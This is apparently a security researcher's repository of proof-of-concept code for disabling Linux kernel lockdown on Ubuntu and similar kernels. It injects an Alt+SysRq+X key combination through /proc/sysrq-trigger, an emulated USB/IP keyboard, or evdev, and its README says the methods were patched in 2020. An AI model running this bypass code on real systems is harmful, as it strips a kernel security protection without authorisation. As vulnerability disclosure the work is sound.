├── .gitignore ├── 00-sysrq-trigger └── run.sh ├── 01-usbip ├── keyboard.c └── run.sh ├── 02-evdev ├── evdev-sysrq.c ├── evdev-sysrq.py └── run.sh ├── README.md └── rootkit ├── Makefile ├── README.md └── rootkit.c /.gitignore: -------------------------------------------------------------------------------- 1 | *.swp 2 | rootkit/.* 3 | rootkit/Module.symvers 4 | rootkit/modules.order 5 | rootkit/rootkit.ko 6 | rootkit/rootkit.mod.c 7 | rootkit/rootkit.mod.o 8 | rootkit/rootkit.o 9 | 02-evdev/evdev-sysrq 10 | -------------------------------------------------------------------------------- /00-sysrq-trigger/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # https://github.com/xairy/unlockdown 4 | # 5 | # Andrey Konovalov 6 | 7 | set -eux 8 | 9 | echo 1 > /proc/sys/kernel/sysrq 10 | echo x > /proc/sysrq-trigger 11 | 12 | echo "Done! Check dmesg." 13 | -------------------------------------------------------------------------------- /01-usbip/keyboard.c: -------------------------------------------------------------------------------- 1 | // Disables kernel lockdown on Ubuntu kernels by emulating a USB keyboard 2 | // over USB/IP and sending a Alt+SysRq+X key combination. 3 | // See https://github.com/xairy/unlockdown for usage details. 4 | // 5 | // Derived from: 6 | // - https://github.com/xairy/raw-gadget/blob/master/examples/keyboard.c 7 | // - https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/tools/usb/usbip/libsrc/usbip_common.h 8 | // - https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/drivers/usb/usbip/usbip_common.h 9 | // - https://github.com/lcgamboa/USBIP-Virtual-USB-Device 10 | // 11 | // Andrey Konovalov 12 | 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | #include 29 | #include 30 | 31 | #define USBIP_PORT 3240 32 | 33 | /*----------------------------------------------------------------------*/ 34 | 35 | struct hid_class_descriptor { 36 | __u8 bDescriptorType; 37 | __le16 wDescriptorLength; 38 | } __attribute__((packed)); 39 | 40 | struct hid_descriptor { 41 | __u8 bLength; 42 | __u8 bDescriptorType; 43 | __le16 bcdHID; 44 | __u8 bCountryCode; 45 | __u8 bNumDescriptors; 46 | 47 | struct hid_class_descriptor desc[1]; 48 | } __attribute__((packed)); 49 | 50 | /*----------------------------------------------------------------------*/ 51 | 52 | #define MAX_PACKET_SIZE 64 53 | 54 | #define USB_VENDOR 0x046d 55 | #define USB_PRODUCT 0xc312 56 | 57 | #define STRING_ID_MANUFACTURER 0 58 | #define STRING_ID_PRODUCT 1 59 | #define STRING_ID_SERIAL 2 60 | #define STRING_ID_CONFIG 3 61 | #define STRING_ID_INTERFACE 4 62 | 63 | struct usb_device_descriptor usb_device = { 64 | .bLength = USB_DT_DEVICE_SIZE, 65 | .bDescriptorType = USB_DT_DEVICE, 66 | .bcdUSB = __constant_cpu_to_le16(0x0200), 67 | .bDeviceClass = 0, 68 | .bDeviceSubClass = 0, 69 | .bDeviceProtocol = 0, 70 | .bMaxPacketSize0 = MAX_PACKET_SIZE, 71 | .idVendor = __constant_cpu_to_le16(USB_VENDOR), 72 | .idProduct = __constant_cpu_to_le16(USB_PRODUCT), 73 | .bcdDevice = 0, 74 | .iManufacturer = STRING_ID_MANUFACTURER, 75 | .iProduct = STRING_ID_PRODUCT, 76 | .iSerialNumber = STRING_ID_SERIAL, 77 | .bNumConfigurations = 1, 78 | }; 79 | 80 | struct usb_qualifier_descriptor usb_qualifier = { 81 | .bLength = sizeof(struct usb_qualifier_descriptor), 82 | .bDescriptorType = USB_DT_DEVICE_QUALIFIER, 83 | .bcdUSB = __constant_cpu_to_le16(0x0200), 84 | .bDeviceClass = 0, 85 | .bDeviceSubClass = 0, 86 | .bDeviceProtocol = 0, 87 | .bMaxPacketSize0 = MAX_PACKET_SIZE, 88 | .bNumConfigurations = 1, 89 | .bRESERVED = 0, 90 | }; 91 | 92 | struct usb_config_descriptor usb_config = { 93 | .bLength = USB_DT_CONFIG_SIZE, 94 | .bDescriptorType = USB_DT_CONFIG, 95 | .wTotalLength = 0, // computed later 96 | .bNumInterfaces = 1, 97 | .bConfigurationValue = 1, 98 | .iConfiguration = STRING_ID_CONFIG, 99 | .bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER, 100 | .bMaxPower = 0x32, 101 | }; 102 | 103 | struct usb_interface_descriptor usb_interface = { 104 | .bLength = USB_DT_INTERFACE_SIZE, 105 | .bDescriptorType = USB_DT_INTERFACE, 106 | .bInterfaceNumber = 0, 107 | .bAlternateSetting = 0, 108 | .bNumEndpoints = 1, 109 | .bInterfaceClass = USB_CLASS_HID, 110 | .bInterfaceSubClass = 1, 111 | .bInterfaceProtocol = 1, 112 | .iInterface = STRING_ID_INTERFACE, 113 | }; 114 | 115 | struct usb_endpoint_descriptor usb_endpoint = { 116 | .bLength = USB_DT_ENDPOINT_SIZE, 117 | .bDescriptorType = USB_DT_ENDPOINT, 118 | .bEndpointAddress = USB_DIR_IN | 1, 119 | .bmAttributes = USB_ENDPOINT_XFER_INT, 120 | .wMaxPacketSize = 8, 121 | .bInterval = 5, 122 | }; 123 | 124 | char usb_hid_report[] = { 125 | 0x05, 0x01, // Usage Page (Generic Desktop) 0 126 | 0x09, 0x06, // Usage (Keyboard) 2 127 | 0xa1, 0x01, // Collection (Application) 4 128 | 0x05, 0x07, // Usage Page (Keyboard) 6 129 | 0x19, 0xe0, // Usage Minimum (224) 8 130 | 0x29, 0xe7, // Usage Maximum (231) 10 131 | 0x15, 0x00, // Logical Minimum (0) 12 132 | 0x25, 0x01, // Logical Maximum (1) 14 133 | 0x75, 0x01, // Report Size (1) 16 134 | 0x95, 0x08, // Report Count (8) 18 135 | 0x81, 0x02, // Input (Data,Var,Abs) 20 136 | 0x95, 0x01, // Report Count (1) 22 137 | 0x75, 0x08, // Report Size (8) 24 138 | 0x81, 0x01, // Input (Cnst,Arr,Abs) 26 139 | 0x95, 0x03, // Report Count (3) 28 140 | 0x75, 0x01, // Report Size (1) 30 141 | 0x05, 0x08, // Usage Page (LEDs) 32 142 | 0x19, 0x01, // Usage Minimum (1) 34 143 | 0x29, 0x03, // Usage Maximum (3) 36 144 | 0x91, 0x02, // Output (Data,Var,Abs) 38 145 | 0x95, 0x05, // Report Count (5) 40 146 | 0x75, 0x01, // Report Size (1) 42 147 | 0x91, 0x01, // Output (Cnst,Arr,Abs) 44 148 | 0x95, 0x06, // Report Count (6) 46 149 | 0x75, 0x08, // Report Size (8) 48 150 | 0x15, 0x00, // Logical Minimum (0) 50 151 | 0x26, 0xff, 0x00, // Logical Maximum (255) 52 152 | 0x05, 0x07, // Usage Page (Keyboard) 55 153 | 0x19, 0x00, // Usage Minimum (0) 57 154 | 0x2a, 0xff, 0x00, // Usage Maximum (255) 59 155 | 0x81, 0x00, // Input (Data,Arr,Abs) 62 156 | 0xc0, // End Collection 64 157 | }; 158 | 159 | struct hid_descriptor usb_hid = { 160 | .bLength = 9, 161 | .bDescriptorType = HID_DT_HID, 162 | .bcdHID = __constant_cpu_to_le16(0x0110), 163 | .bCountryCode = 0, 164 | .bNumDescriptors = 1, 165 | .desc = { 166 | { 167 | .bDescriptorType = HID_DT_REPORT, 168 | .wDescriptorLength = sizeof(usb_hid_report), 169 | } 170 | }, 171 | }; 172 | 173 | int build_config(char *data, int length) { 174 | struct usb_config_descriptor *config = 175 | (struct usb_config_descriptor *)data; 176 | int total_length = 0; 177 | 178 | assert(length >= sizeof(usb_config)); 179 | memcpy(data, &usb_config, sizeof(usb_config)); 180 | data += sizeof(usb_config); 181 | length -= sizeof(usb_config); 182 | total_length += sizeof(usb_config); 183 | 184 | assert(length >= sizeof(usb_interface)); 185 | memcpy(data, &usb_interface, sizeof(usb_interface)); 186 | data += sizeof(usb_interface); 187 | length -= sizeof(usb_interface); 188 | total_length += sizeof(usb_interface); 189 | 190 | assert(length >= sizeof(usb_hid)); 191 | memcpy(data, &usb_hid, sizeof(usb_hid)); 192 | data += sizeof(usb_hid); 193 | length -= sizeof(usb_hid); 194 | total_length += sizeof(usb_hid); 195 | 196 | assert(length >= USB_DT_ENDPOINT_SIZE); 197 | memcpy(data, &usb_endpoint, USB_DT_ENDPOINT_SIZE); 198 | data += USB_DT_ENDPOINT_SIZE; 199 | length -= USB_DT_ENDPOINT_SIZE; 200 | total_length += USB_DT_ENDPOINT_SIZE; 201 | 202 | config->wTotalLength = __cpu_to_le16(total_length); 203 | printf("config->wTotalLength: %d\n", total_length); 204 | 205 | return total_length; 206 | } 207 | 208 | /*----------------------------------------------------------------------*/ 209 | 210 | // tools/usb/usbip/libsrc/usbip_common.h 211 | 212 | #define SYSFS_PATH_MAX 256 213 | #define SYSFS_BUS_ID_SIZE 32 214 | 215 | #define OP_REQUEST (0x80 << 8) 216 | #define OP_REPLY (0x00 << 8) 217 | 218 | #define OP_IMPORT 0x03 219 | #define OP_REQ_IMPORT (OP_REQUEST | OP_IMPORT) 220 | #define OP_REP_IMPORT (OP_REPLY | OP_IMPORT) 221 | 222 | #define USBIP_CMD_SUBMIT 0x0001 223 | #define USBIP_CMD_UNLINK 0x0002 224 | #define USBIP_RET_SUBMIT 0x0003 225 | #define USBIP_RET_UNLINK 0x0004 226 | 227 | struct usbip_usb_device { 228 | char path[SYSFS_PATH_MAX]; 229 | char busid[SYSFS_BUS_ID_SIZE]; 230 | 231 | uint32_t busnum; 232 | uint32_t devnum; 233 | uint32_t speed; 234 | 235 | uint16_t idVendor; 236 | uint16_t idProduct; 237 | uint16_t bcdDevice; 238 | 239 | uint8_t bDeviceClass; 240 | uint8_t bDeviceSubClass; 241 | uint8_t bDeviceProtocol; 242 | uint8_t bConfigurationValue; 243 | uint8_t bNumConfigurations; 244 | uint8_t bNumInterfaces; 245 | } __attribute__((packed)); 246 | 247 | struct usbip_usb_interface { 248 | uint8_t bInterfaceClass; 249 | uint8_t bInterfaceSubClass; 250 | uint8_t bInterfaceProtocol; 251 | uint8_t padding; 252 | } __attribute__((packed)); 253 | 254 | struct usbip_op_common { 255 | uint16_t version; 256 | uint16_t code; 257 | uint32_t status; 258 | } __attribute__((packed)); 259 | 260 | struct usbip_op_import_request { 261 | char busid[SYSFS_BUS_ID_SIZE]; 262 | } __attribute__((packed)); 263 | 264 | struct usbip_op_import_reply { 265 | struct usbip_usb_device udev; 266 | // struct usbip_usb_interface uinf[]; 267 | } __attribute__((packed)); 268 | 269 | struct usbip_op { 270 | struct usbip_op_common common; 271 | 272 | union { 273 | struct usbip_op_import_request import_request; 274 | struct usbip_op_import_reply import_reply; 275 | } u; 276 | }; 277 | 278 | #define USBIP_OP_IMPORT_REPLY_SIZE \ 279 | (sizeof(struct usbip_op_common) + sizeof(struct usbip_op_import_reply)) 280 | 281 | // drivers/usb/usbip/usbip_common.h 282 | 283 | struct usbip_header_basic { 284 | __u32 command; 285 | __u32 seqnum; 286 | __u32 devid; 287 | __u32 direction; 288 | __u32 ep; 289 | } __attribute__((packed)); 290 | 291 | struct usbip_header_cmd_submit { 292 | __u32 transfer_flags; 293 | __s32 transfer_buffer_length; 294 | __s32 start_frame; 295 | __s32 number_of_packets; 296 | __s32 interval; 297 | unsigned char setup[8]; 298 | } __attribute__((packed)); 299 | 300 | struct usbip_header_ret_submit { 301 | __s32 status; 302 | __s32 actual_length; 303 | __s32 start_frame; 304 | __s32 number_of_packets; 305 | __s32 error_count; 306 | } __attribute__((packed)); 307 | 308 | struct usbip_header_cmd_unlink { 309 | __u32 seqnum; 310 | } __attribute__((packed)); 311 | 312 | struct usbip_header_ret_unlink { 313 | __s32 status; 314 | } __attribute__((packed)); 315 | 316 | struct usbip_header { 317 | struct usbip_header_basic base; 318 | 319 | union { 320 | struct usbip_header_cmd_submit cmd_submit; 321 | struct usbip_header_ret_submit ret_submit; 322 | struct usbip_header_cmd_unlink cmd_unlink; 323 | struct usbip_header_ret_unlink ret_unlink; 324 | } u; 325 | } __attribute__((packed)); 326 | 327 | /*----------------------------------------------------------------------*/ 328 | 329 | void unpack_usbip_op_common(struct usbip_op_common *s) { 330 | s->version = ntohs(s->version); 331 | s->code = ntohs(s->code); 332 | s->status = ntohl(s->status); 333 | } 334 | 335 | void pack_usbip_op_common(struct usbip_op_common *s) { 336 | s->version = htons(s->version); 337 | s->code = htons(s->code); 338 | s->status = htonl(s->status); 339 | } 340 | 341 | void pack_usbip_op_import_reply(struct usbip_op_import_reply *s) { 342 | s->udev.busnum = htonl(s->udev.busnum); 343 | s->udev.devnum = htonl(s->udev.devnum); 344 | s->udev.speed = htonl(s->udev.speed); 345 | } 346 | 347 | void unpack_usbip_header_basic(struct usbip_header_basic *s) { 348 | s->command = ntohl(s->command); 349 | s->seqnum = ntohl(s->seqnum); 350 | s->devid = ntohl(s->devid); 351 | s->direction = ntohl(s->direction); 352 | s->ep = ntohl(s->ep); 353 | } 354 | 355 | void unpack_usbip_header_cmd_submit(struct usbip_header_cmd_submit *s) { 356 | s->transfer_flags = ntohl(s->transfer_flags); 357 | s->transfer_buffer_length = ntohl(s->transfer_buffer_length); 358 | s->start_frame = ntohl(s->start_frame); 359 | s->number_of_packets = ntohl(s->number_of_packets); 360 | s->interval = ntohl(s->interval); 361 | } 362 | 363 | void pack_usbip_header_basic(struct usbip_header_basic *s) { 364 | s->command = htonl(s->command); 365 | s->seqnum = htonl(s->seqnum); 366 | s->devid = htonl(s->devid); 367 | s->direction = htonl(s->direction); 368 | s->ep = htonl(s->ep); 369 | } 370 | 371 | void pack_usbip_header_ret_submit(struct usbip_header_ret_submit *s) { 372 | s->status = htonl(s->status); 373 | s->actual_length = htonl(s->actual_length); 374 | s->start_frame = htonl(s->start_frame); 375 | s->number_of_packets = htonl(s->number_of_packets); 376 | s->error_count = htonl(s->error_count); 377 | } 378 | 379 | /*----------------------------------------------------------------------*/ 380 | 381 | void usbip_reply(int fd, __u32 seqnum, void *data, unsigned int size) { 382 | struct usbip_header uh; 383 | memset(&uh, 0, sizeof(uh)); 384 | uh.base.command = USBIP_RET_SUBMIT; 385 | uh.base.seqnum = seqnum; 386 | uh.u.ret_submit.actual_length = size; 387 | pack_usbip_header_basic(&uh.base); 388 | pack_usbip_header_ret_submit(&uh.u.ret_submit); 389 | 390 | if (send(fd, &uh, sizeof(uh), 0) != sizeof(uh)) { 391 | perror("send()"); 392 | exit(EXIT_FAILURE); 393 | } 394 | if (size > 0) { 395 | if (send(fd, data, size, 0) != size) { 396 | perror("send()"); 397 | exit(EXIT_FAILURE); 398 | } 399 | } 400 | } 401 | 402 | void init_import_reply(struct usbip_op* op) { 403 | memset(op, 0, sizeof(*op)); 404 | 405 | op->common.version = 273; 406 | op->common.code = OP_REP_IMPORT; 407 | op->common.status = 0; 408 | pack_usbip_op_common(&op->common); 409 | 410 | struct usbip_op_import_reply *rep = &op->u.import_reply; 411 | strcpy(rep->udev.path, "/sys/devices/pci0000:00/0000:00:01.2/usb1/1-1"); 412 | strcpy(rep->udev.busid, "1-1"); 413 | rep->udev.busnum = 1; 414 | rep->udev.devnum = 2; 415 | rep->udev.speed = USB_SPEED_HIGH; 416 | rep->udev.idVendor = usb_device.idVendor; 417 | rep->udev.idProduct = usb_device.idProduct; 418 | rep->udev.bcdDevice = usb_device.bcdDevice; 419 | rep->udev.bDeviceClass = usb_device.bDeviceClass; 420 | rep->udev.bDeviceSubClass = usb_device.bDeviceSubClass; 421 | rep->udev.bDeviceProtocol = usb_device.bDeviceProtocol; 422 | rep->udev.bNumConfigurations = usb_device.bNumConfigurations; 423 | rep->udev.bConfigurationValue = usb_config.bConfigurationValue; 424 | rep->udev.bNumInterfaces = usb_config.bNumInterfaces; 425 | pack_usbip_op_import_reply(rep); 426 | } 427 | 428 | void handle_control_request(int fd, struct usbip_header *uh) { 429 | struct usb_ctrlrequest *ctrl = 430 | (struct usb_ctrlrequest *)&uh->u.cmd_submit.setup[0]; 431 | 432 | printf("bRequestType: 0x%x (%s), bRequest: 0x%x, wValue: 0x%x, " 433 | "wIndex: 0x%x, wLength: %d\n", ctrl->bRequestType, 434 | (ctrl->bRequestType & USB_DIR_IN) ? "IN" : "OUT", 435 | ctrl->bRequest, ctrl->wValue, ctrl->wIndex, ctrl->wLength); 436 | 437 | switch (ctrl->bRequestType & USB_TYPE_MASK) { 438 | case USB_TYPE_STANDARD: 439 | switch (ctrl->bRequest) { 440 | case USB_REQ_GET_DESCRIPTOR: 441 | switch (ctrl->wValue >> 8) { 442 | case USB_DT_DEVICE: 443 | usbip_reply(fd, uh->base.seqnum, 444 | &usb_device, sizeof(usb_device)); 445 | break; 446 | case USB_DT_DEVICE_QUALIFIER: 447 | usbip_reply(fd, uh->base.seqnum, 448 | &usb_qualifier, sizeof(usb_qualifier)); 449 | break; 450 | case USB_DT_CONFIG: { 451 | char data[256]; 452 | int len = build_config(&data[0], sizeof(data)); 453 | if (len > ctrl->wLength) 454 | len = ctrl->wLength; 455 | usbip_reply(fd, uh->base.seqnum, &data[0], len); 456 | } break; 457 | case USB_DT_STRING: { 458 | char data[4]; 459 | data[0] = 4; 460 | data[1] = USB_DT_STRING; 461 | if ((ctrl->wValue & 0xff) == 0) { 462 | data[2] = 0x09; 463 | data[3] = 0x04; 464 | } else { 465 | data[2] = 'x'; 466 | data[3] = 0x00; 467 | } 468 | usbip_reply(fd, uh->base.seqnum, 469 | &data[0], sizeof(data)); 470 | } break; 471 | case HID_DT_REPORT: 472 | usbip_reply(fd, uh->base.seqnum, 473 | &usb_hid_report[0], 474 | sizeof(usb_hid_report)); 475 | break; 476 | default: 477 | fprintf(stderr, "unknown descriptor\n"); 478 | exit(EXIT_FAILURE); 479 | } 480 | break; 481 | case USB_REQ_SET_CONFIGURATION: 482 | usbip_reply(fd, uh->base.seqnum, "", 0); 483 | break; 484 | default: 485 | fprintf(stderr, "unknown request type\n"); 486 | exit(EXIT_FAILURE); 487 | } 488 | break; 489 | case USB_TYPE_CLASS: 490 | switch (ctrl->bRequest) { 491 | case HID_REQ_SET_REPORT: { 492 | char data[128]; 493 | int rv = recv(fd, data, ctrl->wLength, 0); 494 | if (rv != ctrl->wLength) { 495 | fprintf(stderr, "recv() failed\n"); 496 | exit(EXIT_FAILURE); 497 | } 498 | usbip_reply(fd, uh->base.seqnum, "", 0); 499 | } break; 500 | case HID_REQ_SET_IDLE: 501 | usbip_reply(fd, uh->base.seqnum, "", 0); 502 | break; 503 | default: 504 | fprintf(stderr, "unknown request type\n"); 505 | exit(EXIT_FAILURE); 506 | } 507 | break; 508 | default: 509 | fprintf(stderr, "unknown request type\n"); 510 | exit(EXIT_FAILURE); 511 | } 512 | }; 513 | 514 | void handle_data_request(int fd, struct usbip_header *cmd) { 515 | static int count = 0; 516 | char data[5][8] = { 517 | {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 518 | {0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 519 | {0x04, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00}, 520 | {0x04, 0x00, 0x46, 0x1b, 0x00, 0x00, 0x00, 0x00}, 521 | {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 522 | }; 523 | if (count < 5) 524 | usbip_reply(fd, cmd->base.seqnum, 525 | data[count], sizeof(data[count])); 526 | else 527 | exit(0); 528 | count++; 529 | usleep(50 * 1000); 530 | }; 531 | 532 | void handle_usb_request(int fd, struct usbip_header *uh) { 533 | if (uh->base.ep == 0) { 534 | printf("control request\n"); 535 | handle_control_request(fd, uh); 536 | } else { 537 | printf("data request\n"); 538 | handle_data_request(fd, uh); 539 | } 540 | }; 541 | 542 | void main() { 543 | printf("waiting for connection...\n"); 544 | 545 | int server_fd = socket(PF_INET, SOCK_STREAM, 0); 546 | if (server_fd < 0) { 547 | perror("socket()"); 548 | exit(EXIT_FAILURE); 549 | } 550 | 551 | int reuse = 1; 552 | if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, 553 | (const char*)&reuse, sizeof(reuse)) < 0) 554 | perror("setsockopt(SO_REUSEADDR)"); 555 | 556 | struct sockaddr_in serv; 557 | memset(&serv, 0, sizeof(serv)); 558 | serv.sin_family = AF_INET; 559 | serv.sin_addr.s_addr = htonl(INADDR_ANY); 560 | serv.sin_port = htons(USBIP_PORT); 561 | 562 | if (bind(server_fd, (struct sockaddr*)&serv, sizeof(serv)) < 0) { 563 | perror("bind()"); 564 | exit(EXIT_FAILURE); 565 | } 566 | 567 | if (listen(server_fd, SOMAXCONN) < 0) { 568 | perror("listen()"); 569 | exit(EXIT_FAILURE); 570 | } 571 | 572 | while (true) { 573 | struct sockaddr_in client; 574 | unsigned int addrlen = sizeof(client); 575 | int fd = accept(server_fd, (struct sockaddr*)&client, &addrlen); 576 | if (fd < 0) { 577 | perror("accept()"); 578 | exit(EXIT_FAILURE); 579 | } 580 | printf("connection from %s\n", inet_ntoa(client.sin_addr)); 581 | 582 | bool attached = false; 583 | while (!attached) { 584 | struct usbip_op op, ret; 585 | int rv = recv(fd, &op.common, sizeof(op.common), 0); 586 | if (rv != sizeof(op.common)) { 587 | fprintf(stderr, "recv() failed\n"); 588 | exit(EXIT_FAILURE); 589 | } 590 | unpack_usbip_op_common(&op.common); 591 | 592 | switch (op.common.code) { 593 | case OP_REQ_IMPORT: 594 | printf("OP_REQ_IMPORT\n"); 595 | rv = recv(fd, &op.u.import_request, 596 | sizeof(op.u.import_request), 0); 597 | if (rv != sizeof(op.u.import_request)) { 598 | fprintf(stderr, "recv() failed\n"); 599 | break; 600 | } 601 | init_import_reply(&ret); 602 | rv = send(fd, &ret, 603 | USBIP_OP_IMPORT_REPLY_SIZE, 0); 604 | if (rv != USBIP_OP_IMPORT_REPLY_SIZE) { 605 | perror("send()"); 606 | break; 607 | } 608 | attached = true; 609 | break; 610 | default: 611 | fprintf(stderr, "unsupported op 0x%02hx\n", 612 | op.common.code); 613 | exit(EXIT_FAILURE); 614 | } 615 | } 616 | 617 | while (true) { 618 | struct usbip_header uh; 619 | int rv = recv(fd, &uh, sizeof(uh), 0); 620 | if (rv != sizeof(uh)) { 621 | fprintf(stderr, "recv() failed\n"); 622 | break; 623 | } 624 | unpack_usbip_header_basic(&uh.base); 625 | 626 | switch (uh.base.command) { 627 | case USBIP_CMD_SUBMIT: 628 | printf("USBIP_CMD_SUBMIT\n"); 629 | unpack_usbip_header_cmd_submit( 630 | &uh.u.cmd_submit); 631 | handle_usb_request(fd, &uh); 632 | break; 633 | default: 634 | fprintf(stderr, "unsupported command %d", 635 | uh.base.command); 636 | exit(EXIT_FAILURE); 637 | } 638 | } 639 | 640 | close(fd); 641 | } 642 | } 643 | -------------------------------------------------------------------------------- /01-usbip/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # https://github.com/xairy/unlockdown 4 | # 5 | # Andrey Konovalov 6 | 7 | set -eux 8 | 9 | apt-get install linux-tools-`uname -r` linux-modules-extra-`uname -r` 10 | 11 | modprobe vhci_hcd 12 | modprobe usbip_core 13 | 14 | echo 1 > /proc/sys/kernel/sysrq 15 | 16 | gcc keyboard.c -o keyboard 17 | ./keyboard & 18 | usbip attach -r 127.0.0.1 -b 1-1 19 | 20 | sleep 3 21 | 22 | echo "Done! Check dmesg." 23 | -------------------------------------------------------------------------------- /02-evdev/evdev-sysrq.c: -------------------------------------------------------------------------------- 1 | // Disables kernel lockdown on Ubuntu kernels by injecting an Alt+SysRq+X 2 | // key combination through evdev. 3 | // See https://github.com/xairy/unlockdown for details. 4 | // 5 | // Vaguely based on: 6 | // https://github.com/darkelement/simplistic-examples/blob/master/evdev/evdev.c 7 | // https://android.googlesource.com/product/google/common/+/refs/heads/master/keyboard_example/keyboard_example.cpp 8 | // 9 | // Andrey Konovalov 10 | 11 | #define _GNU_SOURCE 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | bool supports_feature(int fd, unsigned int feature) { 23 | unsigned long evbit = 0; 24 | int rv = ioctl(fd, EVIOCGBIT(0, sizeof(evbit)), &evbit); 25 | if (rv != sizeof(evbit)) { 26 | perror("ioctl(EVIOCGBIT)"); 27 | exit(EXIT_FAILURE); 28 | } 29 | return evbit & (1 << feature); 30 | } 31 | 32 | bool supports_key(int fd, unsigned int key) { 33 | size_t nchar = KEY_MAX / 8 + 1; 34 | unsigned char bits[nchar]; 35 | int rv = ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(bits)), &bits); 36 | if (rv != sizeof(bits)) { 37 | perror("ioctl(EVIOCGBIT)"); 38 | exit(EXIT_FAILURE); 39 | } 40 | return bits[key / 8] & (1 << (key % 8)); 41 | } 42 | 43 | bool check_device(int fd) { 44 | if (!supports_feature(fd, EV_KEY)) 45 | return false; 46 | printf("EV_KEY supported\n"); 47 | if (!supports_key(fd, KEY_SYSRQ)) 48 | return false; 49 | printf("KEY_SYSRQ supported\n"); 50 | if (!supports_feature(fd, EV_SYN)) 51 | return false; 52 | printf("EV_SYN supported\n"); 53 | return true; 54 | } 55 | 56 | int is_event_device(const struct dirent *dir) { 57 | return strncmp("event", dir->d_name, strlen("event")) == 0; 58 | } 59 | 60 | int find_device(void) { 61 | struct dirent **names; 62 | int n = scandir("/dev/input", &names, is_event_device, alphasort); 63 | if (n <= 0) { 64 | fprintf(stderr, "no input devices found\n"); 65 | exit(EXIT_FAILURE); 66 | } 67 | 68 | for (int i = 0; i < n; i++) { 69 | char name[512]; 70 | snprintf(&name[0], sizeof(name), "%s/%s", "/dev/input", 71 | names[i]->d_name); 72 | free(names[i]); 73 | 74 | int fd = open(name, O_RDWR); 75 | if (fd < 0) { 76 | perror("open()"); 77 | exit(EXIT_FAILURE); 78 | } 79 | printf("checking %s\n", &name[0]); 80 | if (check_device(fd)) { 81 | printf("found device %s\n", &name[0]); 82 | return fd; 83 | } 84 | close(fd); 85 | } 86 | 87 | fprintf(stderr, "no input devices support sysrq injection\n"); 88 | exit(EXIT_FAILURE); 89 | } 90 | 91 | void write_event(int fd, unsigned int type, unsigned int code, 92 | unsigned int value) { 93 | struct input_event event; 94 | memset(&event, 0, sizeof(event)); 95 | event.type = type; 96 | event.code = code; 97 | event.value = value; 98 | int rv = write(fd, &event, sizeof(event)); 99 | if (rv != sizeof(event)) { 100 | perror("write()"); 101 | exit(EXIT_FAILURE); 102 | } 103 | } 104 | 105 | void disable_lockdown(int fd) { 106 | printf("sending Alt+SysRq+X sequence\n"); 107 | 108 | write_event(fd, EV_KEY, KEY_LEFTALT, 1); 109 | write_event(fd, EV_KEY, KEY_SYSRQ, 1); 110 | write_event(fd, EV_KEY, KEY_X, 1); 111 | 112 | write_event(fd, EV_KEY, KEY_X, 0); 113 | write_event(fd, EV_KEY, KEY_SYSRQ, 0); 114 | write_event(fd, EV_KEY, KEY_LEFTALT, 0); 115 | 116 | write_event(fd, EV_SYN, 0, 0); 117 | 118 | printf("done\n"); 119 | } 120 | 121 | int main () { 122 | int fd = find_device(); 123 | disable_lockdown(fd); 124 | } 125 | -------------------------------------------------------------------------------- /02-evdev/evdev-sysrq.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # Disables kernel lockdown on Ubuntu kernels by injecting an Alt+SysRq+X 4 | # key combination through evdev. 5 | # See https://github.com/xairy/unlockdown for details. 6 | # 7 | # Andrey Konovalov 8 | 9 | import os 10 | import evdev 11 | import evdev.ecodes as e 12 | 13 | sysrq_dev = None 14 | for f in os.listdir('/dev/input/'): 15 | if not(f.startswith('event')): 16 | continue 17 | print("checking", f) 18 | path = os.path.join('/dev/input/', f) 19 | dev = evdev.InputDevice(path) 20 | caps = dev.capabilities() 21 | if e.EV_KEY not in caps: 22 | continue 23 | print("EV_KEY supported") 24 | if e.KEY_SYSRQ not in caps[e.EV_KEY]: 25 | continue 26 | print("KEY_SYSRQ supported") 27 | if e.EV_SYN not in caps: 28 | continue 29 | print("EV_SYN supported") 30 | print('found device', f) 31 | sysrq_dev = dev 32 | break 33 | 34 | if sysrq_dev == None: 35 | print('no input devices support sysrq injection') 36 | exit(-1) 37 | 38 | print("sending Alt+SysRq+X sequence") 39 | 40 | sysrq_dev.write(e.EV_KEY, e.KEY_LEFTALT, 1) 41 | sysrq_dev.write(e.EV_KEY, e.KEY_SYSRQ, 1) 42 | sysrq_dev.write(e.EV_KEY, e.KEY_X, 1) 43 | 44 | sysrq_dev.write(e.EV_KEY, e.KEY_X, 0) 45 | sysrq_dev.write(e.EV_KEY, e.KEY_SYSRQ, 0) 46 | sysrq_dev.write(e.EV_KEY, e.KEY_LEFTALT, 0) 47 | 48 | sysrq_dev.write(e.EV_SYN, 0, 0) 49 | 50 | printf("done") 51 | -------------------------------------------------------------------------------- /02-evdev/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -eux 4 | 5 | echo 1 > /proc/sys/kernel/sysrq 6 | 7 | gcc ./evdev-sysrq.c -o evdev-sysrq 8 | ./evdev-sysrq 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | unlockdown 2 | ========== 3 | 4 | This repo demonstrates some ways to disable or bypass kernel lockdown on Ubuntu (and some other) kernels without physical access to the machine, essentially bypassing this security feature. 5 | 6 | (Updated 21.03.2020.) At this point, all outlined bypass methods have been fixed on Ubuntu, Fedora and Debian (see [this](https://github.com/xairy/unlockdown/issues/1) for details). The other linked methods might still work. 7 | 8 | ## Story 9 | 10 | Once upon a time, while working on some [USB fuzzing](https://github.com/google/syzkaller/blob/master/docs/linux/external_fuzzing_usb.md) related stuff, I was about to trace the kernel via `kprobe` on my new laptop, but instead... 11 